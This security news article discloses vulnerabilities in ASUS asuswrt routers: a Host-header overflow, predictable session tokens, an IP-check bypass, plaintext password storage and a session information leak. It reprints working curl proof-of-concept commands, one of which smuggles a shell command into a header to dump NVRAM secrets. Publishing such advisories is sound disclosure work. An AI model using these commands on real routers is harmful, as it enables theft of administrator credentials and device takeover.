Multiple vulnerabilities affect all versions of ASUS routers

On January 16, Blazej Adamczyk, a security researcher has published 4 vulnerabilities that effect on all version of ASUS routers. Researcher wrote the vulnerability details on his blog.

Image: asus

Four vulnerabilities include:

• Heap buffer overflow in multiple HTTP headers
  CVE: CVE-2017-15655
  CVSS v3: 9.6
  AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
  (Administrator needs to login and visit certain page at the router website)
  Description:This vulnerability affects new Asus routers with not up-to-date firmware, as well as some older end-of-life routers (e.g. RT-N65R, RT-N65U)

  Multiple buffer overflow vulnerabilities in HTTPd server in Asus asuswrt version <=3.0.0.4.376.X. All have been fixed in version 3.0.0.4.378, but this vulnerability was not previously disclosed. Some end-of-life routers have this version as the newest so are vulnerable at this time. This vulnerability allows for RCE with administrator rights when the administrator visits serveral pages.

  For example the “Host:” header is vulnerable and allows to override the SystemCmd variable which then allows for RCE when the administrator visits serveral pages (for example the network tools router tab).

  PoC (after running this script, when the administrator visists one of several pages which trigger commands e.g. the network tools tab, the script is being run and outputs the contents of nvram to a css file which can be retrived without authentication)

  $ curl 'http://routerIP:8080' -H "Host: xxxxxxxxxxxxxx $(for i in $(seq 1 9700); do echo -n " "; done) \$(nvram show > /www/user/nvram.css )"

   

  Poc
  

• Highly predictable session tokens
  CVE: CVE-2017-15654
  CVSS v3: 8.3
  AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
  (Attacker needs administrator interaction and a way to overcome administrator IP check – see next point)
  Description: The session token is generated for an authenticated user using stdlib rand function. The token generation code looks as follows:

    char *generate_token(void){
  
         int a=0, b=0, c=0, d=0;
  
         //char create_token[32]={0};
  
         memset(gen_token,0,sizeof(gen_token));
  
         srand (time(NULL));   //VULNERABLE
  
         a=rand();
  
         b=rand();
  
         c=rand();
  
         d=rand();
  
         snprintf(gen_token, sizeof(gen_token),"%d%d%d%d", a, b, c, d);
  
         return gen_token;
  
      }

  The code initializes the random number generator each time a token is generated with router epoch time.

  An attacker can guess a token knowing more or less the time the administrator has logged in.

•  Not sufficient logged user IP validation
  CVE: CVE-2017-15653
  CVSS v3: 8.3
  AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
  (Attacker needs the session token to execute any action without IP check – see point above)
  Description: An attacker who knows the session token can walkaround the IP verification mechanism by sending requests with a special useragent.The following PoC will download current router configuration even if issued from a different than the logged user IP address:

  curl "http://ROUTERADDRESS/s.CFG" -H "Cookie: asus_token=TOKEN" -H 'User-Agent: asusrouter-asusrouter-asusrouter-asusrouter'
• Password stored in plain text
  CVE: CVE-2017-15656
  Description: Asus routers store password in plain text in NVRAM memory. Executing nvram show, or downloading the backup file and decoding it allows anyone to read the administrator password.Having access to telnet (shell) one can execute:
  nvram show

• Logged-in information disclousure

  An unauthenticated attacker can retrieve information about a logged-in session (if and who [IP address] is currently logged in). This itself is not a vulnerability but together with the two previous it allows for a easy exploit.

   curl "http://ROUTERADDRESS/Nologin.asp"

  PoC